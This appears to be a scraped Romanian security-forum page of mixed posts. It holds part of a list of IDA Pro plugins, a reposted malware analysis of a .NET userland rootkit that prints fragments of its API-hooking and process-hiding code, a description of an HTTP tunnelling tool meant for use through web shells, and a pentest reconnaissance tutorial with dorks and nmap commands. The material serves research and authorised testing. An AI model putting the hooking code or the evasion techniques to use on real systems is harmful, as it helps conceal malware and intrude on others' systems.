protocol or file. It can recognize tons of compression, multimedia and encryption algorithms and many other things like known strings and anti-debugging code which can be also manually added since it’s all based on a text signature file read at run-time and easy to modify. IDA Sploiter IDA Sploiter is a plugin for Hex-Ray’s IDA Pro disassembler designed to enhance IDA’s capabilities as an exploit development and vulnerability research tool. Some of the plugin’s features include a powerful ROP gadgets search engine, semantic gadget analysis and filtering, interactive ROP chain builder, stack pivot analysis, writable function pointer search, cyclic memory pattern generation and offset analysis, detection of bad characters and memory holes, and many others. IDA Stealth IDAStealth is a plugin which aims to hide the IDA debugger from most common anti-debugging techniques. The plugin is composed of two files, the plugin itself and a dll which is injected into the debuggee as soon as the debugger attaches to the process. The injected dll actually implements most of the stealth techniques either by hooking system calls or by patching some flags in the remote process. IDA Toolbag The IDA Toolbag plugin provides many handy features, such as: A ‘History’ view, that displays functions in the disassembly that you have decided are important, and the relationships between them. A code path-searching tool, that lets you find what functions (or blocks) are forming a path between two locations. Manage and run your IDC/Python scripts Something that’s also of considerable importance is that the IDA Toolbag lets you collaborate with other IDA users: one can publish his ‘History’, or import another user’s history & even merge them! See the official documentation for an extensive feature list. IDA Xtensa This is a processor plugin for IDA, to support the Xtensa core found in Espressif ESP8266. It does not support other configurations of the Xtensa architecture, but that is probably (hopefully) easy to implement. idb2pat IDB to Pat. MSDN Helper This tool will help you to get to Offline MSDN help while using IDA Pro. MyNav MyNav is a plugin for IDA Pro to help reverse engineers in the most typical task like discovering what functions are responsible of some specifical tasks, finding paths between “interesting” functions and data entry points. NES Loader Nintendo Entertainment System (NES) ROM loader module for IDA Pro. Optimice This plugin enables you to remove some common obfuscations and rewrite code to a new segment. Currently supported optimizations are: Dead code removal, JMP merging, JCC opaque predicate removal, Pattern based deobfuscations Patcher IDA Patcher is a plugin for Hex-Ray’s IDA Pro disassembler designed to enhance IDA’s ability to patch binary files and memory. Plus22 Plus22 transforms x86_64 executables to be processed with 32-bit version of Hex-Rays Decompiler. Plympton A gem to read program disassembly from a YAML dump. The YAML dump is generated from an IDA Pro python script. This script is included along with this Gem (func.py) Pomidor IDA Pomidor is a plugin for Hex-Ray’s IDA Pro disassembler that will help you retain concentration and productivity during long reversing sessions. Qualcomm Loader IDA loader plugin for Qualcomm Bootloader Stages qb-sync qb-sync is an open source tool to add some helpful glue between IDA Pro and Windbg. Its core feature is to dynamically synchronize IDA’s graph windows with Windbg’s position. Recompiler IDA recompiler REProgram A way of making almost-arbitrary changes to an executable when run under a debugger — even changes that don’t fit. REtypedef REtypedef is an IDA PRO plugin that allows defining custom substitutions for function names. It comes with a default ruleset providing substitutions for many common STL types. Samsung S4 Rom Loader IDA Pro Loader Plugin for Samsung Galaxy S4 ROMs Sark Sark, (named after the notorious Tron villain,) is an object-oriented scripting layer written on top of IDAPython. Sark is easy to use and provides tools for writing advanced scripts and plugins. Sega Genesis/Megadrive Tools Special IDA Pro tools for the Sega Genesis/Megadrive romhackers. Tested work on v5.2, v6.6. Should work on other versions. Sig Maker Can create sigs automatically and has a wide variety of functions (might be unstable on IDA 6.2). Snippt Detector Snippet Detector is an IDA Python scripts project used to detect snippets from 32bit disassembled files. snippet is the word used to identify a generic sequence of instructions (at the moment a snippet is indeed a defined function). The aim of the tool is to collect many disassembled snippets inside a database for the detection process. Snowman Decompiler Snowman is a native code to C/C++ decompiler. Standalone and IDA Plugin. Source Code Splode Augmenting Static Reverse Engineering with Dynamic Analysis and Instrumentation spu3dbg Ida Pro debugger module for the anergistic SPU emulator. Synergy A combination of an IDAPython Plugin and a control version system that result in a new reverse engineering collaborative addon for IDA Pro. By http://cubicalabs.com/ Tarkus Tarkus is a plugin manager for IDA Pro, modelled after Python’s pip. VirusBattle The plugin is an integration of Virus Battle API to the well known IDA Disassembler. Virusbattle is a web service that analyses malware and other binaries with a variety of advanced static and dynamic analyses. Win32 LST to Inline Assembly Python script which extracts procedures from IDA Win32 LST files and converts them to correctly dynamically linked compilable Visual C++ inline assembly. WinIOCtlDecoder An IDA Pro plugin which decodes a Windows Device I/O control code into DeviceType, FunctionCode, AccessType and MethodType. Xex Loader for IDA 6.6 This adds the ability to load xex files into IDA directly without having to first process them in any way. It processes the xex file as much as possible while loading to minimise the work required by the user to get it to a state fit for reversing. X86Emu Its purpose is to allow a reverse engineer the chance to step through x86 code while reverse engineering a binary. The plugin can help you step through any x86 binary from any platform. For Windows binaries, many common library calls are trapped and emulated by the emulator, allowing for a higher fidelity emulation. I find it particularly useful for stepping through obfuscated code as it automatically reorganizes an IDA disassembly based on actual code paths. This list has been compiled by onethawt Sursa: https://n0where.net/best-ida-plugins/

Omul are #Nvidia Normal ca se orienteaza catre Asia.. de ce le-ar trebui Rromani cu fițe, trantori si care asteapta bani multi fara sa puna osul la treaba. P.S. - Welcome!

neaa in nici un caz. Daca voiam asta o dadeam direct la sectiunea "locuri de munca". Majoritatea care sunt in business aici fac outsource in Philippine sau Singapore

Simple userland rootkit – a case study Posted December 7, 2016 by Malwarebytes Labs Rootkits are tools and techniques used to hide (potentially malicious) modules from being noticed by system monitoring. Many people, hearing the word “rootkit” directly think of techniques applied in a kernel mode, like IDT (Interrupt Descriptor Table) hooking, SSDT (System Service Dispatch Table) hooking, DKOM (Direct Kernel Object Manipulation), and etc. But rootkits appear also in a simpler, user-mode flavor. They are not as stealthy as kernel-mode, but due to their simplicity of implementation they are much more spread. That’s why it is good to know how they works. In this article, we will have a case study of a simple userland rootkit, that uses a technique of API redirection in order to hide own presence from the popular monitoring tools. Analyzed sample 01fb4a4280cc3e6af4f2f0f31fa41ef9 //special thanks to @MalwareHunterTeam The rootkit code This malware is written in .NET and not obfuscated – it means we can decompile it easily by a decompiler like dnSpy. As we can see in the code, it hooks 3 popular monitoring applications: Process Explorer (procexp), ProcessHacker and Windows Task Manager (taskmgr): Let’s try to run this malware under dnSpy and observe it’s behavior under Process Explorer. The sample has been named malware.exe. At the beginning it is visible, like any other process: …but after executing the hooking routine, it just disappears from the list: Attaching a debugger to the Process Explorer we can see that some of the API functions, i.e., NtOpenProcess starts in atypical way – from a jump to some different memory page: The redirection leads to the injected code: It is placed in added memory page with full access rights: We can dump this page and open it in IDA, getting a view of 3 functions: The code of the first function begins at offset 0x60: The space before is filled with some other data, that will be discussed in a second part of the article. Rootkit implementation Let’s have a look at the implementation details now. As we saw before, hooking is executed in a function HookApplication. Looking at the beginning of this function we can confirm, that the rootkit’s role is to install in-line hooks on particular API functions: NtReadVirtualMemory, NtOpenProcess, NtQuerySystemInformation. Those functions are imported from ntdll.dll. Let’s have a look at what is required in order to implement such a simple rootkit. The original decompiled class is available here: ROOT1.cs. Preparing the data First, the malware needs to know the base address, where ntdll.dll is loaded in the space of the attacked process. The base is fetched by a function GetModuleBase address, that employs enumerating through the modules loaded within the examined process (using: Module32First – Module32Next). Having the module base, the malware needs to know the addresses of the functions, that are going to be overwritten. The GetRemoteProcAddressManual searches those address in the export table of the found module. Fetched addresses are saved in an array: //fetch addresses of imported functions: func_to_be_hooked[0] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtReadVirtualMemory") ); func_to_be_hooked[1] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtOpenProcess") ); func_to_be_hooked[2] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtQuerySystemInformation") ); Code from the beginning of those functions is being read and stored in buffers: //copy original functions' code (24 bytes): original_func_code[0] = ROOT1.ReadMemoryByte(intPtr, (IntPtr)((long)((ulong)func_to_be_hooked[0])), 24u); original_func_code[1] = ROOT1.ReadMemoryByte(intPtr, (IntPtr)((long)((ulong)func_to_be_hooked[1])), 24u); original_func_code[2] = ROOT1.ReadMemoryByte(intPtr, (IntPtr)((long)((ulong)func_to_be_hooked[2])), 24u); The small 5-byte long array will be used to prepare a jump. The first byte, 233 is 0xE9 hex, and it represents the opcode of the JMP instruction. Other 4 bytes will be filled with the address of the detour function: Another array contains prepared detours functions in form of shellcodes: Shellcodes are stored as arrays of decimal numbers: In order to analyze the details, we can dump each shellcode to a binary form and load it in IDA. For example, the resulting pseudocode of the detour function of NtOpenProcess is: int __stdcall NtOpenProcess_filter(int ProcessHandle, int DesiredAccess, int ObjectAttributes, _DWORD *ClientId) { int res; //result of the operation if ( ClientId && *ClientId == *(_DWORD *)((char *)&malwareId + 3) ) res = 0xC0000022; //STATUS_ACCESS_DENIED else res = ((int (__stdcall *)(int, int, int, _DWORD *))((char *)&NOpentProcess_original))( ProcessHandle, DesiredAccess, ObjectAttributes, ClientId); return res; } view rawshellcode2.cpp hosted with ❤ by GitHub So, what does this detour function do? Very simple filtering: “if someone ask about the malware, tell them that it’s not there. But if someone ask about something else, tell the truth”. Other filters, applied on NtReadVirtualMemory and NtQuerySystemInformation (for SYSTEM_INFORMATION_CLASS types: 5 = SystemProcessInformation, 16 = SystemHandleInformation) – manipulates, appropriately: reading memory of the hooked process and reading information about all the processes. Of course, the fiters must know, how to identify the malicious process that wants to remain hidden. In this rootkit it is identified by the process ID – so, it needs to be fetched and saved in the data that is injected along with the shellcode. The detour function of NtReadVirtualMemory will also call from inside functions: GetProcessId and GetCurrentProcessId in order to apply filtering – so, their handles need to be fetched and saved as well: getProcId_ptr = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "kernel32.dll")), "GetProcessId") ); getCuttentProcId_ptr = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "kernel32.dll")), "GetCurrentProcessId") ); Putting it all together All the required elements must be put together in a proper way. First, the malware allocates a new memory area, and copies all the elements in order: BitConverter.GetBytes(getProcId_ptr).CopyTo(array, 0); BitConverter.GetBytes(getCuttentProcId_ptr).CopyTo(array, 4); //... // copy the current process ID BitConverter.GetBytes(Process.GetCurrentProcess().Id).CopyTo(array, 8); //... // copy the original functions' addresses: BitConverter.GetBytes(func_to_be_hooked[0]).CopyTo(array, 12); BitConverter.GetBytes(func_to_be_hooked[1]).CopyTo(array, 16); BitConverter.GetBytes(func_to_be_hooked[2]).CopyTo(array, 20); //... //copy the code of original functions: original_func_code[0].CopyTo(array, 24); original_func_code[1].CopyTo(array, 48); original_func_code[2].CopyTo(array, 72); After this prolog, the three shellcodes are being copied into the same memory page – and the page is injected into the attacked process. Finally, the beginning of each attacked function is being patched with a jump, redirecting to the appropriate detour function within the injected page. Bugs and Limitations The basic functionality of a rootkit has been achieved here, however, this code contains also some bugs and limitations. For example, it causes an application to crash if the functions have been already hooked (for example in the case if the malware has been deployed for the second time). It is caused by the fact that the hook needs also a copy of the original function in order to work. The hooking function assumes, that the code in the memory of ntdll.dll is always the original one and it copies it to the required buffer (rather than copying it from the raw image of ntdll.dll). Of course this assumption is valid only in optimistic case, and fails if the function was hooked before. There are also many limitations – i.e. the hooking function is deployed only at the beginning of the execution, but when we deploy a monitoring program while the malware is running, we can still see it set of hooked applications is small – we can still attach to the malware via debugger or view it by any tool that is not considered by the authors the implemented code works only for 32 bit applications Conclusion The demonstrated rootkit is very simple, probably created by a novice. However, it allows us to illustrate very well the basic idea behind API hooking and how it can be used in order to hide the process. This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest in InfoSec. She loves going in details about malware and sharing threat information with the community. Check her out on Twitter @hasherezade and her personal blog: https://hshrzd.wordpress.com. Sursa: https://blog.malwarebytes.com/threat-analysis/2016/12/simple-userland-rootkit-a-case-study/

A Black Path Toward The Sun (TCP tunneling over HTTP for web application servers) https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun Ben Lincoln, NCC Group, 2016 ABPTTS uses a Python client script and a web application server page/package[1] to tunnel TCP traffic over an HTTP/HTTPS connection to a web application server. In other words, anywhere that one could deploy a web shell, one should now be able to establish a full TCP tunnel. This permits making RDP, interactive SSH, Meterpreter, and other connections through the web application server. The communication is designed to be fully compliant with HTTP standards, meaning that in addition to tunneling inthrough a target web application server, it can be used to establish an outbound connection through packet-inspecting firewalls. A number of novel features are used to make detection of its traffic challenging. In addition to its usefulness to authorized penetration testers, it is intended to provide IDS/WPS/WAF developers with a safe, live example of malicious traffic that evades simplistic regex-pattern-based signature models. An extensive manual is provided in PDF form, and walks the user through a variety of deployment scenarios. This tool is released under version 2 of the GPL. [1] Currently JSP/WAR and ASP.NET server-side components are included. Compare and contrast with: reGeorg (https://github.com/sensepost/reGeorg) HTTP tunnel for Node.js (https://github.com/johncant/node-http-tunnel) Named as an oblique reference to Cordyceps/Ophiocordyceps, e.g.: http://www.insectimages.org/browse/detail.cfm?imgnum=0014287 Link: https://github.com/nccgroup/ABPTTS

Tin de la inceput sa mentionez ca tutorialul este pentru aplicatii web. De-a lungul timpului am vazut numeroase persoane care, desi aveau cunostinte despre anumite vulnerabilitati web(de ce apar, cum se exploateaza, etc.), nu reuseau sa gaseasca mai nimic in aplicatii web reale. Acest lucru se datoreaza faptului ca au sarit peste o etapa esentiala a unui audit de securitate si anume, Information Gathering. Neavand o metodologie clara si un plan de atac bine stabilit, acestia nu erau in masura sa obtina date suficiente despre aplicatiile pe care le analizau iar ca urmare a acestui lucru nu reuseau sa identifice vulnerabilitatile. In acest tutorial vom discuta despre care sunt informatiile de care avem nevoie despre tinta si cum le putem afla astfel incat sa ne maximizam rezultatele. Asa cum spuneam la inceputul acestui tutorial, Information Gathering este etapa initiala a oricarui audit de securitate IT care poate face diferenta dintre succes si esec. Prin aceastea, pentesterul incearca sa obtina toate informatiile posibile despre tinta folosindu-se de diferite servicii (motoare de cautare, diferite utilitare, etc.). Intrucat nu exista un model standard, fiecare pentester este liber sa isi construiasca propria metodologie astfel incat rezultatele sa fie cat mai bune. In cele ce urmeaza voi prezenta modul in care obisnuiesc eu sa abordez o tinta atunci cand realizez un audit de securitate. 1.Motoarele de cautare Primul lucru pe care trebuie sa il faci este sa cauti informatii prin intermediul motoarelor de cautare folosindu-te de diferiti operatori de cautare. Astfel poti obtine subdomeniile, diferite fisiere, tehnologiile folosite de aplicatia web si chiar unele vulnerabilitati. Exemplu: diferite subdomenii ale yahoo.com Cei mai folositori operatori ai motorului de cautare Google sunt: site: - acest operator permite afisarea rezultatelor doar de pe un anumit domeniu si este extrem de folositor pentru descoperirea subdomeniilor. Exemplu: site:*.yahoo.com filetype: sau ext: limiteaza rezultatele afisand doar paginile care au o anumita extensie si pot fi folosite pentru a descoperi tehnologiile folosite in dezvoltarea aplicatiei web. Exemplu: site:*.yahoo.com ext:php – am limitat rezultatele cautarii la subdomeniile yahoo.com care au fisiere .php intext:<termen> limiteaza rezultatele afisand doar paginile in care se regaseste termenul specificat si poate fi folosit pentru a descoperi diferite vulnerabilitati. Exemplu: site:targetwebsite.com intext:”You have an error in your SQL syntax” site:targetwebsite.com intext:”Microsoft OLE DB Provider for SQL Server” site:targetwebsite.com intext:”Microsoft JET Database Engine” site:targetwebsite.com intext:”Type mismatch” site:targetwebsite.com intext:”Invalid SQL statement or JDBC” site:targetwebsite.com intext:”mysql_fetch_array()” site:targetwebsite.com intext:”mysql_” operatori logici: Google accepta anumiti operatori logici care de cele mai multe ori sunt foarte folositori. De exemplu, putem exclude din rezultate anumite subdomenii folosind operatorul - . Astfel, site:.yahoo.com -site:games.yahoo.com va returna subdomeniile yahoo.com, mai putin rezultatele care au legatura cu games.yahoo.com. Mai multe informatii despre operatorii de cautare pentru Google gasesti aici si aici. Pe langa motoarele de cautare obsnuite ca Google, Bing, Yahoo etc., foloseste si: Censys - Foarte folositor in descoperirea subdomeniilor Exemplu: https://www.censys.io/certificates?q=parsed.subject.organization%3A%22Yahoo%22 Shodan 2. Determinarea tehnologiilor folosite La acest pas va trebuie sa verifici daca: aplicatia web este protejata de vreun Web Application Firewall (WAF) Cel mai simplu mod prin care poti face acest lucru este folosind wafw00f: $ python watw00f2.py http://www.targetwebsite.com aplicatia web foloseste un Content Management System (CMS) open-source (Wordpress, Joomla, Drupal, etc.) Poti verifica acest lucru folosind whatweb, cms-explorer, CMSmap. $ whatweb -a 3 http://targetwebsite.com $ cms-explorer.pl -url http://targetwebsite.com/ -type wordpress Urmatorul pas consta in identificarea sistemului de operare, al tipului de WebServer (Apache, IIS) folosit de tinta si versiunea acestora. Daca versiunile celor doua sunt outdated, cel mai probabil exista cateva vulnerabilitati cunoscute (CVE) in acele produse. Poti descoperi acest lucru cu o simpla cautare pe http://cvedetails.com . Exemplu: Vulnerabilitatile cunoscute pentru Apache 2.3.1 Determinarea sistemului de operare se poate realiza foarte simplu folosind nmap. $ nmap -sV -O www.targetwebsite.com Metodele prin care poti identifica versiunea Webserver-ului sunt: Analizand output-ul cererilor HTTP care folosesc metoda HEAD, OPTIONS sau TRACE Raspunsul HTTP al unei cereri care foloseste una din metodele de mai sus va contine, de cele mai multe ori, si headerul Server. Analizand pagina de eroare 404 Folosind httprecon / httprint . Un alt aspect important il constituie tehnologia server-side folosita de tinta. Cel mai simplu mod in care aceasta poate fi descoperita este urmarind extensiile fisierelor. De exemplu, daca URL-ul tintei este http://targetwebsite.com/index.php , este clar ca aplicatia web a fost scrisa in limbajul PHP. Alte extensii specifice tehnologiilor server-side sunt: .py – Python .rb – Ruby .pl – Perl .php / .php3 / .php4 / .php5 / .phtml / .phps – PHP .asp – Active Server Pages (Microsoft IIS) .aspx – ASP+ (Microsoft .NET) .asmx – ASP.NET WebServer .cfm – ColdFusion .cfml – Cold Fusion Markup Language .do – Java Struts .action – Java Struts .jnpl – Java WebStart File .jsp – Java Server Page .nsf – Lotus Domino server In cazul in care extensiile nu sunt vizibile in URL, poti identifica tehnologia server-side folosita analizand cookie-ul pe care aplicatia web il seteaza. Exemplu: PHPSESSID=12355566788kk666l544 – PHP De asemenea, iti poti da seama daca o aplicatie web este scrisa in PHP si prin intermediul unui Easter Egg. Daca adaugi codul ?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 la finalul unui URL iar in pagina apare o imagine amuzanta inseamna ca aplicatia respectiva a fost dezvoltata folosind PHP. Bineinteles, acest Easter Egg poate fi dezactivat din php.ini. Mai multe informatii gasesti aici. 3. Identificarea fisierelor aplicatiei web La acest pas nu trebuie decat sa accesezi cat mai multe pagini alte aplicatiei web, fara a face nimic altceva. Viziteaza fiecare pagina insa nu uita sa conectezi browserul la Burp Suite pentru a se crea site-map-ul aplicatiei web. Astfel vei avea o evidenta mult mai clara asupra fisierelor pe care urmeaza sa le testezi. Foloseste Burp Spider pe langa navigarea manuala pentru a descoperi cat mai multe fisiere. PS: verifica daca exista fisierul robots.txt Dupa ce consideri ca ai navigat suficient printre fisierele aplicatiei web, trebuie sa descoperi fisierele ascunse. Exista numeroase aplicatii care te pot ajuta: Dirbuster Functia Discover Content a aplicatiei BurpSuite Wfuzz Patator Burp Intruder Liste de cuvinte pentru scripturile de mai sus: fuzzdb gitDigger svnDigger SecLists Urmatorul pas este sa iei la rand fiecare fisier gasit si sa incerci sa intelegi cum functioneaza aplicatia web respectiva. Pentru a-ti fi mai usor sa iti dai seama unde ar putea exista o vulnerabilitate, pune-ti urmatoarele intrebari: 1. In fisierul pe care il testezi, continutul se modifica in mod dinamic in functie de anumite criterii (valoarea unui parametru din URL, cookie, user agent etc.) ? Mai exact, este posibil ca in acel fisier aplicatia web sa foloseasca informatii dintr-o baza de date? Daca da, testeaza in primul rand pentru vulnerabilitatile de tip injection (SQL, XPATH, LDAP, etc.) insa nu neglija celelalte tipuri de vulnerabilitati. S-ar putea sa ai surprize. 2. Poti controla in vreun fel continutul paginii? Ceilalti utilizatori pot vedea datele pe care le introduci tu? Daca da, testeaza in special pentru vulnerabilitati de tip Cross Site Scripting si Content Spoofing. 3. Aplicatia web poate interactiona cu alte fisiere? Daca da, testeaza in special pentru Local File Inclusion. 4. In fisierul respectiv exista functii care necesita nivel sporit de securitate (cum ar fi formular de schimbare al emailului/parolei etc.)? Daca da, testeaza in special pentru Cross Site Request Forgery. Nu uita sa testezi fiecare parametru al fiecarui fisier pe care l-ai descoperit.